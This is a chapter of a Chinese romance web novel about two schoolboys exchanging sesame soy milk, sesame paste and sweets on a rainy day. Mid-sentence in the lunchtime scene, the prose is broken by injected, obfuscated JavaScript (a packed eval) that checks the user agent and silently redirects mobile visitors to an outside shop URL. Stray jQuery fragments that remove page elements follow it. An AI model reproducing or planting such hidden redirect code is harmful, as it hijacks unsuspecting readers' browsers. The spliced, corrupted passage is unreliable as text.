周四早晨，苌斓是被雨声叫醒的。
不是那种噼里啪啦的暴雨，是深秋特有的、细密绵长的雨。雨丝斜斜地打在窗玻璃上，留下一道道歪歪扭扭的水痕。窗外的梧桐树被雨淋得湿漉漉的，叶子又落了一层，铺在湿漉漉的人行道上，像一层金黄的毯子。他翻了个身，把被子往上拉了拉。冷。比昨天更冷。
床头柜上的水杯还冒着热气，是母亲新换的。他端起来喝了一口，温热的水滑过喉咙，把最后一丝睡意冲散。厨房里传来豆浆机的声音，还有父亲压低了的咳嗽。和昨天一样，和前天一样，和每一天都一样。但他知道今天不一样。今天不是核桃。昨天他发了一个字——“核桃”，忘海说好。但昨晚他在枕头上躺了很久之后，又发了一条。
“核桃还剩多少。”
“不多了。还能打两天。”
“那后天再放核桃。明天换别的。”
“换什么。”
他打了两个字，删了两次，最后才发出去。“芝麻。”
忘海回了一个表情。还是那个小人靠在墙边的表情，但这次旁边没有红心。苌斓盯着那个表情看了片刻，然后把手机塞进枕头底下。没有红心。他告诉自己这不重要。但枕头底下的手机又震了一下，他掏出来看。还是那个小人，红心这次不在旁边，在头顶上。被一根线牵着，像一颗很小的气球。
苌斓把手机屏幕按灭，塞进枕头底下。然后翻了个身，把脸埋进枕头里。枕头的布料蹭着他的脸颊，他用力闭上眼睛。但嘴角的弧度怎么压也压不住。
他起床，洗漱，换校服。站在衣柜前的时候，手在白色卫衣上停了一下，又移到旁边那件深灰色的——和昨天忘海围巾一样的颜色。他盯着那件深灰色看了片刻，然后果断取下白色，套在头上。走到门口又折回来，把那件深灰色也拿了下来。在镜子前站了片刻，把深灰色穿在里面，白色穿在外面，领口露出一小截深灰的边缘。
“……叠穿。”他对着镜子里的自己说，语气像是在向谁解释，“天冷。”
然后他拉开门走了出去。
早饭和往常一样丰盛。红薯粥，小菜，切好的水果。今天的豆浆不是核桃味。他自己那杯是原味的，忘海的保温杯里他倒进了芝麻豆浆。黑芝麻磨得很细，把豆浆染成浅浅的灰色。他盯着那杯灰色的豆浆看了一会儿，然后拧紧盖子，放进书包侧袋。
“今天下雨，”母亲从厨房探出头，手里拿着抹布，“带伞了吗。”
“带了。”
“多穿一点。深秋的雨最冷，寒气往骨头里钻。”
苌斓嗯了一声，走到玄关换鞋。推开门的时候，雨丝扑面而来，细细密密的凉意落在脸上。撑开伞，往路口走去。雨中的梧桐道比平时更安静。自行车少了，学生都撑着伞，脚步匆匆。雨滴打在伞面上，发出细密的声响，像无数颗小珠子在布面上弹跳。
走到路口的时候，他远远就看见了那个人影。
忘海撑着一把深蓝色的伞，站在梧桐树下。围巾还是那条深灰色的，垂到腰间，被风吹得微微晃动。他站在那里，伞沿压得很低，看不清表情。但苌斓知道他在看自己。隔着雨幕，隔着往来的车流，隔着清晨湿冷的空气，那道目光稳稳地落在他身上。
苌斓走过去。雨滴从自己的伞沿滑下来，滴在地上，溅起细小的水花。他在忘海面前停下，把深蓝色保温杯递过去。“……芝麻的。”
忘海接过杯子，指尖碰到一起的时候，苌斓感觉到他的手指是凉的。但又在他的指尖碰到自己时迅速蜷了一下，像是被烫到。不是冷的。是静电。深秋干燥，毛衣和外套摩擦之后，指尖一碰就会起静电。一小簇极细微的酥麻感，从指尖窜上来，不到一秒就消失。但两个人都感觉到了。
苌斓迅速收回手，把那只手塞进口袋里。忘海也收回手，握紧了保温杯。两人同时沉默了片刻。
“……早上起来磨的？”忘海先开口，语气依旧很平淡。
“嗯。”
“黑芝麻还是白芝麻。”
“黑的。白的用完了。”
忘海点点头，把自己怀里的保温杯递给苌斓。拧开盖子，热气涌出来。芝麻的香气比核桃更浓郁，带着一点焦香，混在豆浆的醇厚里，像是深秋早晨的味道。他抿了一口，芝麻粉末磨得非常细，几乎感觉不到颗粒，滑过喉咙的时候有一种很踏实的暖意。
“……今天磨了几遍。”
“四遍。”
苌斓把杯盖拧好，双手捧着杯子，暖意从掌心慢慢往上爬。他低着头，声音有些轻：“昨天核桃才三遍。”
忘海撑着伞，站在雨里。雨滴打在伞面上，细密的声响填补了他们之间的安静。然后他开口，声音很轻，像是只说给这场雨听：“芝麻比核桃难磨。”
苌斓没有追问。他知道这不是真的。芝麻确实比核桃小，但磨起来不一定更难。忘海只是找了个理由。一个想为他多磨一遍的理由。
他把杯子捧在手心里，转身朝学校的方向走。“走了。要迟到了。”
忘海跟上他的步伐。两人并肩走在雨中，各自撑着伞，伞沿偶尔碰在一起，发出轻微的声响。谁都没有把伞移开。走过校门口的时候，忘海停下来。苌斓也停下来。
忘海从书包侧袋里拿出一个东西，递过来。是一小袋芝麻糊。不是超市买的那种即冲的，是用密封袋装的，里面是灰黑色的粉末，看得见细小的芝麻颗粒。
“昨天买多了，”忘海说，“磨豆浆用不完。这个给你，晚上可以自己冲着喝。热水一冲就行。不用加糖。”
苌斓接过那袋芝麻糊。密封袋是透明的，里面的粉末磨得不算太细，显然不是机器打的，是自己用擀面杖或者研钵慢慢碾出来的。可以看见一些没碾碎的白芝麻颗粒，混在黑芝麻里，像是小小的星星。
“……你家有研钵。”
忘海微微一顿。“有。”
“什么时候买的。”
“上周。”
苌斓把密封袋攥在手心里。上周。那时候核桃还没开始，豆浆还没加料。这个人就已经买好了研钵。他不知道芝麻什么时候会用上，只是先准备好了。他把袋子放进口袋，和上次那颗核桃放在同一个位置。“……知道了。走了。”
他转身往高二楼走，走了两步又停下。没有回头，只是背对着忘海，声音被雨伞遮得有些闷：“芝麻糊。晚上喝了会告诉你。”
然后快步走进教学楼，玻璃门在他身后合上。忘海站在原地，雨滴从伞沿滑下来。他低头轻轻笑了一声，把深蓝色保温杯放回书包侧袋。然后撑开伞，朝高一楼走去。
整个上午，雨一直在下。苌斓坐在靠窗的位置，把笔记翻开又合上。口袋里的芝麻糊袋子很轻，但他一直能感觉到它的存在。和那颗核桃不一样，芝麻糊不会硌人。它很软，一捏就会变形，粉末在袋子里发出极细微的沙沙声。但他舍不得捏。课间休息的时候，后排的女生站起来去接水，路过他座位的时候不小心碰掉了他的笔。她弯腰去捡，发现苌斓已经把笔捡起来了。他的动作很快，但她的手更快，碰到了他的手腕。
“哎呀对不起——”
她的道歉说到一半就断了。她看见苌斓在看她，目光平静，但耳根有一抹极淡的红色。不是被她碰了手才红的，是在她碰到他之前就红的。她站起来，把笔还给他。然后走回座位，用气声对同桌说：“他在脸红。”
“谁脸红。”
“苌斓。他盯着桌子发呆，脸是红的。我观察他一整个上午了。他时不时摸一下口袋，然后脸就红了。”
同桌用一种“你磕疯了吧”的眼神看着她。然后她往后靠了靠，偷偷看了一眼苌斓。苌斓正把一个小袋子放回口袋。透明的密封袋，里面是灰黑色的粉末，像是芝麻糊。他把袋子放好之后，手指又在口袋边缘停留了片刻。然后收回手，翻开课本。同桌收回视线，对后排女生点了点头，眼神异常严肃。两人同时用气声说：“芝麻糊。”
中午的时候，雨停了片刻。苌斓吃过午饭，在教学楼走廊站了一会儿。他想起上周在天台，忘海把热牛奶放在矮墙上的样子。今天下雨，天台一定是湿的，不能去了。他正想转身回教室，余光扫到了操场对面的高一楼。隔着半个操场，隔着细密的雨丝，走廊上站着一道人影。看不清脸，但他认得那道身影
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724371|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。忘海靠在走廊栏杆上，手里拿着保温杯，正朝这边望过来。
两人隔着雨幕，谁都没有动。然后苌斓看见忘海举了一下手里的保温杯，像是在碰杯。隔着半个操场，隔着雨，隔着两个年级的距离，举了一下杯子。苌斓愣了一下，然后低头看了看自己手里的杯子，也举了一下。很轻，很小，旁人根本注意不到。但忘海看见了。他靠在栏杆上的身体微微侧了一下，然后转身走进教室。苌斓也转身走回自己的教室。他的耳根比刚才更红了。
下午放学的时候，雨又大了起来。梧桐道上的落叶被雨水浸透，踩上去不是脆响，是沉沉的闷响。苌斓撑着伞走出校门，忘海已经站在梧桐树下等他了。手里拎着一个小袋子。
“什么。”
“芝麻糖。”忘海把袋子递过来，“养母说昨天的核桃酥做少了。今天多做了些。你带回去。”
苌斓接过袋子，低头看了一眼。袋子里还有一个小一点的袋子。他拿出来，是一小包单独包装的芝麻糖，用细绳扎着口，绳结打得很精致。“为什么有一包是单独的。”
“那包是给你的，”忘海说，“不是给你的家人。是给你的。”
苌斓盯着手里那包单独包装的芝麻糖。不是“给你们家”，不是“带回去一起吃”。是“给你的”。他攥紧细绳，指尖微微发颤。没有说话，只是把芝麻糖放回袋子里，和之前那颗核桃、那袋芝麻糊在同一个口袋。
“……谢谢。”
他撑着伞，转身往家的方向走。忘海站在梧桐树下，看着那道深灰和白色叠穿的背影在雨幕里渐行渐远。走了十几步，苌斓忽然停下来。他撑着伞站在雨里，梧桐叶被雨水打落，从伞面上滑下来。然后他转身，大步走回来，步伐快得雨伞都歪了。一直走到忘海面前才停下。伞沿相碰，雨滴从交叠的地方滑下来。
他从口袋里掏出一样东西，塞进忘海手里。是一颗奶糖。和前几天放在后排女生桌上的那种一样，但包装纸是蓝色的。
“给你的。”
两个字。和他的“给你的”一样。苌斓说完转身就走，这次没有再回头。忘海低头看着掌心那颗蓝色的奶糖，在雨中站了很久。然后把奶糖小心地放进口袋，和那颗核桃、那张纸条放在一起。
他撑开伞，朝相反的方向走去。雨滴打在伞面上，细密的声响盖过了一切声音。
苌斓推开家门的时候，暖黄的灯光涌过来。母亲从厨房探出头，看到他，接过书包和雨伞，说回来啦。父亲在客厅看新闻，眼镜滑到鼻梁上，朝他点了点头。和每一天都一样。
他把芝麻糖放在餐桌上，说同学家长做的，让我带回来。母亲打开袋子说好香，芝麻味很浓。然后她把那包单独包装的挑出来，放在他手上，什么也没问，只是说你收好。
苌斓攥着那包芝麻糖走进房间。他没有开灯，坐在床沿，窗外雨声淅沥。然后他拆开袋子，拿出一块芝麻糖，放进嘴里。芝麻的焦香和麦芽糖的甜味混合在一起，很甜，但没有核桃豆浆那么甜。没有那些说不出口的话那么甜。他嚼着芝麻糖，在黑暗里极轻极轻地弯了一下嘴角。
“太甜了。”他对空气说。然后吃了第二块。
睡前，手机准时震动。
“到家了。”
苌斓侧躺在床上，打字。“早就到了。芝麻糖很好吃。我妈让我谢谢你养母。”
“你怎么回的。”
“我说，我会的。”
对面沉默了片刻。然后一条新消息跳出来。
“芝麻糊喝了吗。”
苌斓看了看书桌上那个空碗。喝完了。他本来想发“喝完了”，但手指在屏幕上停了片刻，打了一行字。
“喝了。冲的时候水放多了，有点淡。”
“明天我教你冲。”
他盯着这行字。“明天”这两个字，和“明天见”一样，成了他们之间最寻常也最重要的词。他把手机放在枕头旁边，翻了个身，闭上眼睛。窗外的雨还在下，细密的雨声像无数颗芝麻落在瓦片上。
明天会有芝麻豆浆。明天会有新的保温杯。明天会有人在路口等他。雨天也是。以后每一天都是。